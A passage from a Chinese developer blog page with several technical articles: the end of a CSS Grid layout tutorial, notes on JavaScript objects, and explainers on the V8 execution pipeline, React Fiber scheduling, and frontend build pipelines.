  grid-template-rows: 100px 150px;           /* 两行,第一行100px,第二行150px */
}

这样你就画了一个3列2行的网格,一共6个格子。项目会按顺序自动填充每个格子,就像表格里从左到右、从上到下填数据一样。

2. fr单位:分蛋糕神器

Grid引入了fr单位(fraction的缩写),表示剩余空间的比例分配。这比Flexbox的flex-grow更直观。

.container {
  display: grid;
  grid-template-columns: 1fr 2fr 1fr;  /* 三列,中间占两份,两边各占一份 */
}

如果父容器宽度是1200px,那么第一列占300px,第二列600px,第三列300px。fr可以和固定单位混用,比如200px 1fr 2fr,浏览器会先分配200px,剩下的按比例分。

3. repeat() 函数:偷懒必备

如果你要定义很多等宽的列,手动写很累。repeat()函数来救场。

.container {
  grid-template-columns: repeat(3, 1fr);  /* 三列等宽,相当于 1fr 1fr 1fr */
  grid-template-rows: repeat(4, 100px);   /* 四行,每行100px */
}

repeat()还可以组合不同模式,比如repeat(2, 100px 1fr)表示重复两次“100px 1fr”的序列,最终得到四列:100px、1fr、100px、1fr。

4. minmax():给尺寸一个范围

有时候我们希望列宽能在一定范围内弹性变化,比如最小200px,最大自适应。minmax()搞定。

.container {
  grid-template-columns: minmax(200px, 1fr) 2fr;  /* 第一列最小200px,可以放大到1fr,第二列固定2fr */
}

5. auto-fill 与 auto-fit:响应式利器

当列数不确定时,可以用auto-fillauto-fit配合minmax实现类似“流动布局”的效果。

  • auto-fill:尽可能多地填充列,即使某些列是空的。
  • auto-fit:也是尽可能多地填充,但会把空列收缩为0,让有内容的列伸展。
.container {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
}

这段代码的意思是:每列最小200px,如果容器足够宽,就放尽可能多的列,并且每列等宽;当容器变窄时,列数自动减少,每列仍不小于200px。这就是纯CSS实现的响应式卡片墙!

三、网格线:定位的坐标系

每个网格都由网格线划分。比如3列有4条纵向网格线(从1开始编号),2行有3条横向网格线。你可以用这些线来精确放置项目。

.item {
  grid-column-start: 1;
  grid-column-end: 3;   /* 从第1条纵向线跨到第3条线,即占据前两列 */
  grid-row-start: 1;
  grid-row-end: 3;      /* 从第1条横向线跨到第3条线,即占据前两行 */
}

简写为:

.item {
  grid-column: 1 / 3;
  grid-row: 1 / 3;
}

也可以从哪条线开始,并指定跨度:

.item {
  grid-column: 1 / span 2;  /* 从第1列开始,跨2列,等同于1/3 */
  grid-row: 1 / span 2;
}

网格线也可以命名,比如grid-template-columns: [main-start] 1fr [main-end],然后使用命名来定位。

四、网格区域:给格子起名字

如果你觉得用线编号不够直观,可以给网格区域命名。用grid-template-areas属性来划分区域。

.container {
  display: grid;
  grid-template-columns: 200px 1fr 200px;
  grid-template-rows: 100px 1fr 100px;
  grid-template-areas:
    "header header header"
    "sidebar content aside"
    "footer footer footer";
}
.header {
  grid-area: header;
}
.sidebar {
  grid-area: sidebar;
}
.content {
  grid-area: content;
}
.aside {
  grid-area: aside;
}
.footer {
  grid-area: footer;
}

这个布局清晰得像图纸一样,每个区域的名字直接对应一个网格单元格。注意,grid-template-areas里的每个单元格必须填满,不能有空洞;可以用.表示空单元格。

五、间距与对齐:让网格透气

1. 行列间距

gap属性设置网格线之间的间距,可以分别设置行间距和列间距:

.container {
  gap: 20px;            /* 行列间距都是20px */
  row-gap: 10px;        /* 单独设置行间距 */
  column-gap: 15px;     /* 单独设置列间距 */
}

2. 项目在单元格内的对齐

项目默认填满整个单元格,但你可以控制它们的位置。

  • justify-items:控制项目在单元格内水平方向的对齐(左中右)。
  • align-items:控制项目在单元格内垂直方向的对齐(上中下)。
  • 取值:startendcenterstretch(默认)。
.container {
  justify-items: center;   /* 所有项目水平居中 */
  align-items: center;     /* 所有项目垂直居中 */
}

如果想单独控制某个项目,用justify-selfalign-self

3. 整个网格在容器内的对齐

如果网格的总尺寸小于容器,可以用justify-contentalign-content控制网格整体的对齐,类似于Flexbox。

.container {
  justify-content: center;   /* 网格整体水平居中 */
  align-content: center;     /* 网格整体垂直居中 */
}

取值同样是startendcenterspace-betweenspace-aroundspace-evenly

六、实战:用Grid搭建常见布局

1. 经典三栏布局(圣杯)

.container {
  display: grid;
  grid-template-columns: 200px 1fr 200px;
  gap: 20px;
}

就这么简单,三栏就出来了,而且中间自适应。

2. 响应式卡片墙

我们希望卡片最小200px,尽量填满容器,而且自动换行。

.container {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
  gap: 20px;
}

无论容器多宽,卡片都会自动调整列数,完美响应式。

3. 不规则布局:杂志风格

比如一个封面图占两列,下方三个卡片各占一列。

<div class="magazine">
  <div class="feature">封面大图</div>
  <div class="card">卡片1</div>
  <div class="card">卡片2</div>
  <div class="card">卡片3</div>
</div>
.magazine {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 20px;
}
.feature {
  grid-column: 1 / -1;  /* 从第一列线到最后一列线,即占满整行 */
}

-1表示最后一条网格线,很方便。

4. 后台管理仪表盘

后台常有复杂区域划分,用grid-template-areas最合适。

.dashboard {
  display: grid;
  grid-template-columns: 250px 1fr 300px;
  grid-template-rows: 80px 1fr 60px;
  grid-template-areas:
    "header header header"
    "sidebar main widgets"
    "footer footer footer";
  height: 100vh;
}

各区域对号入座,结构一目了然。

5. 叠加效果

Grid还可以让多个元素重叠。通过给它们设置相同的网格区域,然后利用z-index控制层级。

.container {
  display: grid;
  grid-template-columns: 1fr 1fr;
}
.item1 {
  grid-area: 1 / 1 / 2 / 3;  /* 占满整行 */
  background: red;
  z-index: 1;
}
.item2 {
  grid-area: 1 / 2 / 2 / 3;  /* 只占第二列 */
  background: blue;
  opacity: 0.5;
  z-index: 2;  /* 显示在上层 */
}

七、Grid vs Flexbox:怎么选?

很多人纠结什么时候用Grid,什么时候用Flexbox。其实很简单:

  • Flexbox:一维布局,适合控制元素在一条线上的排列(导航、按钮组、等分列表)。
  • Grid:二维布局,适合同时控制行和列(页面整体架构、卡片墙、仪表盘)。

它们不是替代关系,而是配合关系。你可以在Grid单元格里用Flexbox排列内部元素,也可以把Flexbox项目里再嵌套Grid。两者结合,天下无敌。

八、常见坑点与避坑指南

1. 默认不是严格的一行一列

如果只设置display: grid而不定义行列,默认只有一列,行数由项目数量决定(每个项目占一行)。所以一定要定义行列。

2. 项目会自动填充,但可能超出网格

如果项目数量超过网格单元格,会自动创建隐式网格(新行),行高默认auto。你可以用grid-auto-rows控制隐式行的高度。

.container {
  grid-auto-rows: 100px;  /* 隐式创建的行高100px */
}

3. fr 和 minmax 结合时注意死循环

minmax(200px, 1fr)的意思是:优先让列宽为1fr,但不会小于200px。这通常没问题,但如果你把所有列都设成这样,且容器总宽度小于列数*200px,就会出现溢出(因为每列都强制不小于200px)。这时可以改用auto-fitminmax的巧妙组合,或者用max-width限制。

4. gap 会占用 fr 空间

间隙是在分配fr之前扣除的。比如三列1fr,gap 20px,那么每列实际宽度 = (容器宽度 - 40px) / 3。所以计算时要考虑间隙。

5. 网格线编号从1开始,不是0

这个容易搞错。不过可以用-1表示最后一条线,比较方便。

九、总结

Grid布局是CSS给前端开发者的一份大礼,它把网页布局变成了一种直观、可预测的体验。核心要点:

  • grid-template-columnsgrid-template-rows定义网格结构。
  • frrepeat()minmax()灵活控制尺寸。
  • grid-column/grid-rowgrid-area放置项目。
  • gap控制间距,用justify/align控制对齐。
  • auto-fitminmax实现响应式。
  • 复杂布局用grid-template-areas命名,代码如设计图。

Grid不难,关键是多动手画格子。一旦你习惯了这种“下围棋”式的布局思维,你会发现以前那些棘手的布局都变成了填空题。

如果你喜欢这篇文章,欢迎点赞、收藏、分享。明天我们将进入CSS另一个重要话题——响应式设计与移动端适配,教你如何一套代码搞定手机、平板、电脑。


明日预告:响应式设计的核心:媒体查询、流式布局、移动端适配,从零构建一个全端兼容的页面。

JavaScript进阶内容详解

作者 Neweee
2026年3月15日 11:17

JavaScript进阶内容详解

记录js进阶学习的相关内容,本篇算是一个系列的开篇,计划深度学习和js以及v8引擎相关的部分内容。

1.对象

基础

对象用来存放键值对,其中值得注意的是,存在两种方法去创建一个空的的对象。

let user = new Object() // 构造函数方法
let user = {} // "字面量"方法

可以使用delete方法去移除对象属性

delete user.name

多词属性,需要给键名加上引号

let user = {
    "login name": "xxx"
    temp: 123
}

方括号

对象名中可以是方括号,此为计算属性,如下,可从fruit中获取相应值,目前在前端框架中似乎很少会这样去用。可能是因为响应式存在的原因。

let fruit = prompt('123', 'apple');
let user = {
    [fruit]: 5
};
console.log(user.apple);

其本质上,和下面的代码相同,由此可见js的自由性,感觉和自然语言也没有什么区别了

let fruit = prompt('123', 'apple');
let bag = {};
bag[fruit] = 5;

属性存在测试,'in'操作符

如下,in用于判断当前对象中是否存在某一个键值

let bag = {
    fruit: 'apple'
}
console.log("name" in bag) //false
console.log("fruit" in bag) //true

其基本作用实际和console.log(bag.name === undefined)类似,那么既然可以通过undefine来判断是否存在键值,要in还有什么作用呢?那就是键名存在,但是其值为undefined的情况。

let bag = {
    fruit: undefined
}

console.log(bag.fruit === undefiend) //false
console.log("fruit" in bag) //true

对象的排序

整数会按照升序排列,其他会按照创建顺序排列(注意:Number只能转化整数,如Number('1.2')就是错的)

V8 与 JavaScript 执行:从字节码、Ignition 到 TurboFan JIT 的完整管线

作者 兆子龙
2026年3月15日 11:02

一、整体管线概览

V8 执行 JavaScript 的大致流程是:源码解析(Parse) 得到 AST → 预解析(PreParse) 可延迟未用到的函数 → 全解析 + 字节码生成Ignition 解释执行字节码 → 热点TurboFan 编译成优化机器码;同时 内联缓存(IC) 在运行中收集类型反馈,指导 TurboFan 做类型特化与去虚化。理解这条管线,能解释「为什么某段代码先慢后快」「为什么类型稳定有利于优化」等常见现象。

二、解析与 AST

Parser 把 JS 源码转成 抽象语法树(AST)。V8 里对应 ParseProgram / ParseFunction 等。预解析(PreParse) 只做语法检查、不生成完整 AST 和字节码,用于顶层未立即执行的函数,减少启动时间;当该函数首次被调用时再 全解析(FullParse) 并生成字节码。这样大型应用不会因为「所有代码都先编译」而卡在启动阶段。

三、字节码与 Ignition

Ignition 是 V8 的解释器:它不直接执行 AST,而是先把 AST 编译成字节码(bytecode),再逐条执行字节码。字节码是介于 AST 和机器码之间的中间表示,指令紧凑、便于解释、也便于后续 TurboFan 做优化编译。每条字节码对应一个** handler**(一段机器码),解释执行就是「取指令 → 查 handler → 跳转执行」。字节码的生成由 BytecodeGenerator 完成,会遍历 AST 并发出 LdaNamedProperty、Add、Star 等指令;同时会为内联缓存(IC) 预留 slot,在首次执行时由 IC 记录类型反馈(如「该 load 来自哪个 shape」),供 TurboFan 使用。

四、内联缓存(Inline Cache, IC)

每次对对象属性的访问、二元运算等,在字节码执行时会走 IC:第一次执行时未命中,会走一段慢路径(查 Hidden Class、可能做类型推断)并更新 IC 状态;后续若类型与上次一致则命中,直接走快路径(如偏移量固定的内存访问)。若类型多变(多态/ megamorphic),IC 会退化为通用查找。因此 「类型稳定」(同一变量始终是同一 shape)能提高 IC 命中率,进而让 TurboFan 生成更优的机器码。

五、TurboFan 与优化编译

当某段字节码(通常是一个函数)被重复执行到一定次数或被标记为热点TurboFan 会将其编译成优化后的机器码。TurboFan 的输入是字节码 + 类型反馈(来自 IC),经过 Sea of Nodes 图、多种优化 pass(如内联、逃逸分析、类型窄化、去虚化),最后 Instruction Selector 生成目标架构的汇编。优化后的代码假设「类型与反馈一致」;若运行时违反(如本来一直是 number 的变量突然变成 object),会 deoptimize 回字节码解释执行,并可能丢弃该函数的优化版本。所以「避免类型变化」「避免在热路径上多态」能减少 deopt,提升稳定性能。

六、Hidden Class 与快速属性访问

V8 用 Hidden Class(Shape) 描述对象的「结构」:相同键、相同顺序的对象共享同一个 Hidden Class;新增/删除属性会触发 transition,形成 Hidden Class 链。属性在对象内的偏移存在 Hidden Class 里,所以一旦知道 Hidden Class,属性访问就是「基址 + 偏移」的一次内存读,无需查表。若代码里频繁创建「结构相同」的对象,能很好利用这一机制;若结构多变或动态增删属性,会导致 transition 链过长或属性退化为「字典模式」,访问变慢。

七、总结与性能建议

管线:Parse → Bytecode → Ignition 解释 + IC 收集反馈 → TurboFan 优化编译。写高性能 JS 时:保持类型稳定(同一变量少变 type)、热路径上少多态(避免同一调用点多种 shape)、避免在热函数里动态增删属性或改 prototype大对象/数组考虑 TypedArray 或固定结构。需要深入时可看 V8 的 --trace-opt / --trace-deopt--print-bytecode 输出,对照源码理解 Ignition 与 TurboFan 的边界。

八、延伸阅读

  • V8 博客:Ignition、TurboFan 的官方介绍与优化案例。
  • 源码:src/ignition/src/compiler/src/ic/ 等目录。
  • 《JavaScript 引擎进阶》等书对 AST、字节码、JIT 有更系统讲解。

九、实践:如何观察字节码与优化

在 Node 或 Chrome 中可通过 --print-bytecode(V8 标志)在控制台打印生成的字节码,便于对照 Ignition 指令理解执行流程。--trace-opt 会打印哪些函数被 TurboFan 优化、--trace-deopt 会打印哪些发生了 deoptimize 及原因(如 type feedback 不匹配)。在写高性能 JS 时,可先用 trace 看热点与 deopt,再针对性做类型稳定与结构稳定;避免在热路径上使用 evalwithdelete 等难以优化的结构。结合本文的 IC 与 TurboFan 管线,能更理性地做性能调优而非盲目「优化」。

React Fiber 调度器源码解析:从 workLoop 到 commit 的完整渲染链路

作者 兆子龙
2026年3月15日 11:01

一、为什么要引入 Fiber

React 15 及之前, Reconciler 基于递归:从根组件一路向下调 mount/update,一旦开始就跑到底再提交 DOM。树大或组件重时,主线程长时间被占,导致输入卡顿、掉帧。Fiber 把「一棵组件树」拆成以** Fiber 节点为单位的可调度工作单元:每个 Fiber 对应一个组件或 DOM 节点, Reconciler 按 Fiber 逐个处理,并可在每个单元结束后让出主线程**,让高优先级更新(如用户输入)插队,从而实现可中断的并发渲染

二、Fiber 节点与双缓冲

每个 Fiber 上保存了:type(组件类型或 DOM 标签)、keyreturn / child / sibling(树形链表结构)、alternate(指向另一棵树上对应节点,用于双缓冲)、pendingProps / memoizedPropsmemoizedStateflags(增删改等副作用的标记)、lanes(优先级相关)等。双缓冲:当前屏对应一棵 current 树,正在计算的更新对应一棵 workInProgress 树;Reconciler 只改 workInProgress,算完后一次性 commit 把 workInProgress 换为 current,避免半成品 UI 暴露。

三、Scheduler 与优先级

React 的调度层 Scheduler 不依赖 React 自身:它维护一个按优先级排序的任务队列,在浏览器空闲时(或按时间片)执行任务,并可取消/暂停低优先级任务。React 把「一次更新」封装成 Scheduler 的 task,并赋予 laneexpirationTime 表示优先级;高优先级(如 input)会打断或抢占低优先级(如 list 渲染)。Scheduler 暴露 scheduleCallbackcancelCallbackshouldYield 等,Fiber 的 workLoop 里在每处理完一个单元后调用 shouldYield(),若需要让出则暂停并稍后继续。

四、workLoop 与 beginWork / completeWork

workLoopConcurrent(或 workLoopSync)从 root 开始,循环调用 performUnitOfWork:每次处理一个 Fiber。performUnitOfWork 内对当前 Fiber 调 beginWork(根据 tag 做 mount/update 的 diff、打 effect 标记、递归子节点),若没有子节点则 completeUnitOfWork,否则继续向下。completeWork 在「子节点都处理完」时执行:对 HostComponent 做 DOM 的增删改属性、对类组件做 ref 等;然后根据 sibling 找兄弟,没有则 return 到父节点再 complete。整棵 workInProgress 树就这样以深度优先、先子后兄再父的方式被遍历一遍,同时把 effectList(或依赖 flags 的 effect 链)串起来,供 commit 阶段消费。

五、commit 阶段:commitRoot

当 workLoop 把整棵 workInProgress 树算完,会调用 commitRoot。commit 阶段不可中断,分三个子阶段:commitBeforeMutationEffects(如 getSnapshotBeforeUpdate)、commitMutationEffects(对 DOM 增删改、执行 useLayoutEffect 的 destroy)、commitLayoutEffects(执行 useLayoutEffect 的 create、ref 回调、componentDidMount/Update)。之后把 root.current 指向 workInProgress,完成双缓冲切换;再在下一帧或微任务里触发 useEffect 的调度(异步)。这样保证用户看到的始终是「一整帧完整更新」,而不会看到半成品。

六、与 React 18 并发特性的关系

useTransitionuseDeferredValueSuspense 都建立在这套 Fiber + Scheduler 之上:过渡更新被标记为低优先级,可被高优先级打断;Suspense 的「挂起」会中断当前子树渲染并显示 fallback,等 Promise resolve 后再重新调度。理解 workLoop 的「可让出」和 commit 的「一次性提交」,就能更好理解并发模式下的行为与边界。

七、总结与阅读建议

Fiber = 可调度的工作单元 + 双缓冲 + 优先级;Scheduler 负责「何时跑」、Reconciler 负责「怎么 diff」、commit 负责「怎么落 DOM」。读源码时建议从 performSyncWorkOnRoot / performConcurrentWorkOnRoot 入口跟到 workLoop → beginWork/completeWork,再跟 commitRoot 三子阶段;配合 React DevTools 的 Profiler 与「Highlight updates」观察优先级与打断效果,印象会更深。

八、关键数据结构与源码路径(React 18)

  • Fiberpackages/react-reconciler/src/ReactFiber.old.js 中的 Fiber 类型定义;FiberRootReactFiberRoot.old.js
  • Schedulerpackages/scheduler/src/Scheduler.js(任务循环)、SchedulerPriorities.js(优先级常量)。
  • workLooppackages/react-reconciler/src/ReactFiberWorkLoop.old.jsperformConcurrentWorkOnRoot / performSyncWorkOnRootworkLoopConcurrentperformUnitOfWork
  • beginWork / completeWorkReactFiberBeginWork.old.jsReactFiberCompleteWork.old.js
  • commitReactFiberCommitWork.old.jscommitRoot 内对 mutation/layout 的遍历。

打开 React 仓库按上述路径跳转,再结合打断点单步,能快速对应到本文描述的流程。

九、常见问题

  • 为什么我的 useEffect 执行了两次? 在 React 18 Strict Mode 下会故意双调用于发现副作用问题;生产构建不会。
  • useTransition 没感觉变快? 它不减少计算量,只是把更新标记为可打断,避免阻塞输入;若本身没有重计算,体感差异不大。
  • commit 阶段为什么不能打断? 一旦改 DOM 就要原子完成,否则会出现半帧状态;只有「算 Fiber」阶段可让出。

十、调试与性能分析建议

在 Chrome DevTools 的 Performance 里录制一次交互,可看到主线程上 Recalc StyleLayoutJS 的占比;若 React 更新占大头,可再用 React DevTools Profiler 看是哪些组件 render 多、commit 耗时高。Scheduler 的 task 可在 Performance 的 JS 调用栈里看到 workLoopConcurrentperformUnitOfWork 等;结合 Scheduling Profiler(实验性)可观察任务优先级与打断。源码阅读时建议从 createRootupdateContainer 跟到 scheduleUpdateOnFiber,再跟到 ensureRootIsScheduled 与 workLoop,这样能把「一次 setState 如何驱动整条链路」串起来,对理解并发与优先级大有帮助。

公募信披迎新规,“基民盈利比”、股票换手率等指标将公布

2026年3月15日 10:57
公募基金信息披露新规正式发布。3月13日,证监会修订发布《公开募集证券投资基金信息披露内容与格式准则第2号—定期报告的内容与格式》(以下简称《准则》),自2026年5月1日起施行。 此次修订对沿用多年的年报、半年报、季报披露规则进行系统性整合,最大看点在于《准则》首次强制要求基金管理人披露“盈利投资者数量占比”(俗称“基民盈利比”)、股票换手率,并将业绩展示周期拉长至十年。(澎湃新闻)

现代前端构建:从 AST、依赖图到产物分块的完整管线解析

作者 兆子龙
2026年3月15日 10:56

一、构建管线在解决什么问题

前端工程里,源码往往以多模块、多格式(TS、JSX、Vue、CSS)存在,且存在依赖关系;浏览器无法直接跑 TS、无法按「裸模块」请求 node_modules。构建管线要完成:解析(把各格式转成 AST)、转换(AST 变换、降级、CSS 处理)、依赖分析(从入口建模块图)、打包/分块(合并或按策略拆 chunk)、代码生成(AST → 目标代码 + sourcemap)。理解这条管线,能更好配置 Webpack/Vite/Rollup、写 Babel/PostCSS 插件、排构建慢与产物异常。

二、解析阶段:从源码到 AST

解析器 把源码变成 AST(抽象语法树)。不同语言用不同解析器:JS/TS 常用 acorn@babel/parserswc;CSS 用 postcss 的解析;Vue SFC 先拆成 script/style/template 再分别解析。解析结果是一棵带节点类型的树,后续 转换生成 都基于 AST,不直接操作字符串。解析阶段会报语法错误、可产出 location 信息供 sourcemap 与报错定位。

三、转换与 Loader / 插件

转换 在 AST 上做增删改:Babel 做语法降级、JSX 转 JS、TS 擦除类型;PostCSS 做 autoprefixer、嵌套;Vue/React 的 loader 可能做 SFC 拆块或 JSX 编译。在 Webpack 里,Loader 是「单文件进单文件出」的转换管道;在 Rollup/Vite 里,插件transform 钩子对模块内容做转换。共同点是:输入是源码或 AST,输出是下一阶段可消费的代码(或 AST)。转换顺序通常由配置顺序决定,可串联多个 loader/插件。

四、模块图与依赖分析

入口(如 main.js)开始,根据 import/require 静态分析依赖,递归解析每个模块,得到一张模块图(Module Graph):节点是模块,边是依赖关系。图中会记录模块的绝对路径、类型(JS/CSS)、依赖列表、解析后的内容。动态 import(import())会生成异步边界:依赖的模块单独成 chunk,在运行时再加载。模块图是后续 Tree-shaking分块代码生成 的基础;图错了(如循环依赖未处理、动态路径未展开)会导致打包结果错误或冗余。

五、Tree-shaking 与 Dead Code Elimination

Tree-shaking 指利用 ESM 的静态结构,在模块图上做可达性分析:从入口出发,只保留「被引用」的 export;未被引用的 export 及其内部未使用代码可视为 dead code 并在生成时去掉。前提是:模块必须是 ESM(CommonJS 的 require 是动态的,难以静态分析);无副作用或通过 package.json 的 sideEffects 声明。Rollup 是 Tree-shaking 的典型实现者;Webpack 在 production 模式下也会做类似优化。写库时注意 export 粒度sideEffects 配置,能减少业务方打包体积。

六、分块(Chunk)策略与代码分割

分块 决定哪些模块打进同一个 bundle、哪些单独成 chunk。常见策略:按入口(多页应用每个入口一个 chunk)、按动态 import(每个 import() 边界一个 async chunk)、按 vendor(把 node_modules 打成单独 chunk 利于缓存)、manualChunks(手动指定某类模块进某 chunk)。分块会影响请求数缓存命中首屏体积;过细会请求多,过粗会单包过大。需要结合 preload/prefetch懒加载时机 做权衡。

七、代码生成与运行时

代码生成模块图 + 分块结果转成最终的可执行代码:每个 chunk 对应一个运行时(如 Webpack 的 runtime:模块 id 与 chunk 加载、模块缓存)加模块内容(可能被包装成函数、按 id 注册)。要保证:依赖顺序正确(被依赖的模块先执行)、全局变量/IIFE 不冲突sourcemap 正确映射回源码。产物格式可以是 IIFEESMCJS,由配置的 output.format 等决定。

八、总结与工具对照

整条管线:解析 → 转换(Loader/插件)→ 模块图 → Tree-shaking → 分块 → 代码生成。Webpack 的 loader 链对应「解析+转换」、Module Graph 对应模块图、SplitChunks 对应分块;Vite 开发时跳过打包、按需编译,生产用 Rollup 走完整管线。写插件或排错时,抓住「当前处在哪一阶段、输入输出是什么」,就能快速定位问题。

九、延伸阅读

  • Webpack 文档:Concepts、Module Graph、Code Splitting。
  • Rollup 文档:Plugin API、output options。
  • Babel 插件手册:AST 节点类型与 visit 写法。

十、实践:写一个简单的 Babel 转换插件

理解 AST 后,可以写一个最小 Babel 插件:用 @babel/parser 解析得到 AST,用 @babel/traversevisitor 遍历并修改节点(如把某个函数名全部替换),再用 @babel/generator 生成代码。插件形式是导出一个函数,返回带 visitor 的对象;在 Babel 配置的 plugins 里引用即可。这样能直观感受「解析 → 转换 → 生成」的闭环,并推广到 PostCSS、Rollup 的 transform 钩子:本质都是在 AST 或中间表示上做变换,构建管线只是把这些步骤串起来并加上模块图与分块。动手写一个小插件后,再回头看 Webpack/Vite 的文档,会更容易抓住重点。

❌
❌